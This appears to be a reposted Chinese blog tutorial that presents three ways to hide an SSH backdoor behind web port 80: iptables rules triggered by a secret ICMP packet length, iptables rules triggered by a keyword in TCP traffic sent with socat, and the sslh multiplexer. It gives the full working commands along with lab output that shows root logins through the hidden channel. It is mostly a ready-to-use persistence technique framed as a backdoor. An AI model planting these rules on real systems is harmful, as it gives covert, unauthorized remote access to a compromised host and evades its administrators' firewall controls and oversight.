利用iptable实现ssh端口复用后门

这篇具有很好参考价值的文章主要介绍了利用iptable实现ssh端口复用后门。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

第一种方式:利用ICMP

远程遥控iptables进行端口复用

创建端口复用链

创建端口复用规则

开启开关

关闭开关

let’s do it

第二种方式:利用tcp数据包中的关键字

端口复用链

端口复用规则

开启开关

关闭开关

let‘s do it

第三种方式:使用SSLH工具

安装sslh工具:

启动sslh服务:

然后我们在201主机上尝试登录200:


第一种方式:利用ICMP

远程遥控iptables进行端口复用

缺点:如果目标在内网,你是无法直接ping到它的

创建端口复用链

iptables -t nat -N HTTP_TO_SSH

自定义了一条链条 

创建端口复用规则

iptables -t nat -A HTTP_TO_SSH -p tcp -j REDIRECT --to-port 22

将自定义链条的流量转发到22端口

开启开关

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set  --name oupeng --rsource -j ACCEPT

如果收到一个长为1139的icmp包,则将来源ip添加到loupeng的列表中

关闭开关

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -mrecent  --name oupeng --remove -j ACCEPT

如果收到到一个长为1140的icmp包,则将来源ip从oupeng列表中去掉

let’s do it

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name oupeng --rsource -j HTTP_TO_SSH

如果发现了syn包的来源处于letmein列表中,则将跳转到letmein链进行处理,有效时间为3600秒

可以查看一下五条链的情况:

[root@centos111 ~]# iptables -t nat -nvxL
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         
       0        0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 8 length 1139 recent: SET name: oupeng side: source mask: 255.255.255.255
       0        0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 8 length 1140 recent: REMOVE name: oupeng side: source mask: 255.255.255.255
       0        0 HTTP_TO_SSH  tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 flags:0x17/0x02 recent: CHECK seconds: 3600 name: oupeng side: source mask: 255.255.255.255

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         
      26     1804 RETURN     all  --  *      *       192.168.122.0/24     224.0.0.0/24        
       0        0 RETURN     all  --  *      *       192.168.122.0/24     255.255.255.255     
       0        0 MASQUERADE  tcp  --  *      *       192.168.122.0/24    !192.168.122.0/24     masq ports: 1024-65535
       0        0 MASQUERADE  udp  --  *      *       192.168.122.0/24    !192.168.122.0/24     masq ports: 1024-65535
       0        0 MASQUERADE  all  --  *      *       192.168.122.0/24    !192.168.122.0/24    

Chain HTTP_TO_SSH (1 references)
    pkts      bytes target     prot opt in     out     source               destination         
       0        0 REDIRECT   tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            redir ports 22

开启复用前,web是可以正常访问的:

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

现在我们可以尝试开启复用,即在192.168.159.201ping192.168.159.200(本机)

ping -c 1 -s 1111 192.168.159.200

向目标发送了一个长度为1111的icmp数据包(加上包头28,总长度实际为1139)

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

因为ip数据包=ip包头+icmp

所以这里的28个字节包括:ip包头的20字节+icmp包头的8字节

尝试使用80端口进行ssh,(这里实际访问的是22端口)

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

可以看到,我们成功的使用80端口实现22端口的登陆

我们可以在200上面查看一下 22端口

netstat -antp |grep 22

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

这里显示有两个ip地址和本主机的22端口建立了连接。

我们现在在201主机上上可以尝试访问一下80端口

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

可以看到访问失败了,因为我们将200主机的80端口用作22的端口了

查看nat表也可以看到规则中是1139个字节的数据包:

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

那现在我们关闭复用

ping -c 1 -s 1112 192.168.159.200

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全 

向目标发送了一个长度为1111的icmp数据包(加上包头28,总长度实际为1140)

在centos1上再查看一下nat表的规则

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

关闭复用后,我们再尝试登录

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

可以看到,现在如果去尝试登录就会失败!

第二种方式:利用tcp数据包中的关键字

优点:不怕目标不在内网

端口复用链

iptables -t nat -N HTTP_TO_SSH

端口复用规则

iptables -t nat -A HTTP_TO_SSH -p tcp -j REDIRECT --to-port 22

开启开关

iptables -A INPUT -p tcp -m string --string 'oupeng' --algo bm -m recent --set --name HTTP_TO_SSH --rsource -j ACCEPT

关闭开关

iptables -A INPUT -p tcp -m string --string 'close' --algo bm -m recent --name HTTP_TO_SSH --remove  -j ACCEPT

let‘s do it

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name HTTP_TO_SSH --rsource -j HTTP_TO_SSH

开启复用,开启本机到目标80端口的流量,将转发至目标的SSH ,80将无法再被主机访问;

[root@centos222 ~]# echo oupeng | socat - tcp:192.168.159.200:80
HTTP/1.1 400 Bad Request
Server: nginx/1.20.1
Date: Sun, 19 Nov 2023 04:29:46 GMT
Content-Type: text/html
Content-Length: 157
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.20.1</center>
</body>
</html>

然后我们尝试使用80端口远程登录一下:

[root@centos222 ~]# ssh -p80 root@192.168.159.200
root@192.168.159.200's password: 
Last login: Sun Nov 19 12:15:29 2023 from 192.168.159.1
[root@centos111 ~]# 

可以看到这里也是成功的使用80端口登录了 

关闭复用,关闭后,80端口恢复正常,我们再次尝试登录

[root@centos222 ~]# echo close | socat - tcp:192.168.159.200:80 
SSH-2.0-OpenSSH_7.4
Protocol mismatch.
[root@centos222 ~]# ssh -p80 root@192.168.159.200
ssh_exchange_identification: Connection closed by remote host

可以看到现在我们就无法登陆了!

第三种方式:使用SSLH工具

安装sslh工具:

yum install sslh

然后我们开启nginx/apache服务,确保它监听的是80端口

systemctl restart nginx.service
systemctl restart httpd.service

然后我们修改一下nginx配置文件中的监听端口

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全 

注:配置完成后不要重启nginx服务 

下载完成sslh工具后,我们修改一下它配置文件

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

注意listen里面写的是监听端口,必须同步到访问的地址,protocls里面写的就是转发目标,此处仅使用了80端口和22端口,注意括号内最后一组花括号末尾无逗号否则会报错。 

启动sslh服务:

[root@centos111 ~]# sslh -F/etc/sslh.cfg 
sslh-fork 4ae2e62d25b9faf984a303c4bdf2b7675f4988b9 started

注:如果这里在启动时报错说这个地址已经被使用,那你可以关闭nginx/httpd服务来解决这个问题 

然后我们在201主机上尝试登录200:

利用iptable实现ssh端口复用后门,linux,安全,防火墙,ssh,运维,linux,sslh,端口复用,web安全,安全

可以看到我们成功的利用端口复用,利用80端口登录了! 

到这里三种方式都已经介绍完了文章来源地址https://www.toymoban.com/news/detail-753150.html

到了这里,关于利用iptable实现ssh端口复用后门的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • iptables -nvL查看linux系统的所有ip和端口情况

    1、查看规则 对规则的查看需要使用如下命令: 各参数的含义为: -L 表示查看当前表的所有规则,默认查看的是 filter 表,如果要查看 nat 表,可以加上 -t nat 参数。 -n 表示不对 IP 地址进行反查,加上这个参数显示速度将会加快。 -v 表示输出详细信息,包含通过该规则的数据

    2024年02月12日
    浏览(75)
  • iptables实现docker容器动态端口映射实操

    之前在《Docker 动态修改容器端口映射的方法》一文中,说明了如何使用修改配置和加防火墙规则实现动态端口映射。但是没有具体分享加防火墙实现动态端口映射的实际案例。今天就分享一下实际操作案例,供大家参考。 动态端口映射的用途 容器端口的动态映射,是用于实

    2024年04月25日
    浏览(42)
  • MacOS使用PF实现iptables的端口转发功能

    使用Flask启动一个简单的web服务 浏览器访问:http://127.0.0.1:5000/ 将所有端口 8080 的请求,都转发到 127.0.0.1:5000 ,类似Nginx的反向代理 1、开启IPv4 的转发 2、添加转发配置文件 查看到的网络名称 检查正确性 3、修改pf配置文件 增加如下配置 重启pf服务 浏览器访问:http://127.0.0

    2024年02月06日
    浏览(39)
  • Nginx使用stream模块分流实现端口复用

    使用Nginx复用端口有很多方法,最普遍的方法是在不同的server块中监听同一端口,根据不同的主机名完成分流。本文介绍了一种较新的端口复用方法,它可以方便地对TLS加密的TCP数据进行分流。 1 Nginx stream分流 Nginx一般都工作在应用层,可以通过多个虚拟主机对端口的监听实

    2024年02月12日
    浏览(37)
  • 【Linux安全管理】iptables配置与iptables基本用法

    目录 一、服务的启动与关闭命令 二、iptables介绍 1、防火墙分类 2、iptables的启动 ① 在开机时禁用firewalld服务:  ②安装iptables-services ③将它设置为开机自启 3、iptables 四表五链详解 链 表  表和链的关系​编辑  不是所有的表都附着在同一条链上​编辑 4、iptables基本用法

    2024年02月05日
    浏览(36)
  • 配置交换机SSH管理和端口安全——实验2:配置交换机端口安全

    通过本实验可以掌握: 交换机管理地址配置及接口配置。 查看交换机的MAC地址表。 配置静态端口安全、动态端口安全和粘滞端口安全的方法 配置交换机端口安全的实验拓扑如图所示。                                                 配置交换机端口

    2024年04月25日
    浏览(51)
  • Linux安全之iptables黑白名单

    iptables 是运行在用户空间的应用软件,通过控制 Linux 内核 netfilter 模块,来管理网络数据包的处理和转发。在大部分 Linux 发行版中,可以通过手册页 或 man iptables 获取用户手册。通常 iptables 需要内核模块支持才能运行,此处相应的内核模块通常是 Xtables。 Linux安全之iptables黑

    2024年02月16日
    浏览(35)
  • 【运维知识进阶篇】iptables防火墙详解(iptables执行过程+表与链概述+iptables命令参数+配置filter表规则+NAT表实现共享上网、端口转发、IP映射)

    这篇文章给大家介绍下iptables防火墙,防火墙大致分三种,分别是硬件、软件和云防火墙。硬件的话部署在企业网络的入口,有三层路由的H3C、华为、Cisco(思科),还有深信服等等;软件的话一般是开源软件,写在网站内部,最常见的有iptables(写入Linux内核)和firewalld(C

    2024年02月09日
    浏览(40)
  • SSH和交换机端口安全概述

            交换机的安全是一个很重要的问题,因为它可能会遭受到一些恶意的攻击,例如MAC泛洪攻击、DHCP欺骗和耗竭攻击、中间人攻击、CDP 攻击和Telnet DoS 攻击等,为了防止交换机被攻击者探测或者控制,必须采取相应的措施来确保交换机的安全性,常见的安全措施包括:配

    2024年04月10日
    浏览(78)
  • 服务器安全-修改默认ssh端口

         

    2024年02月10日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包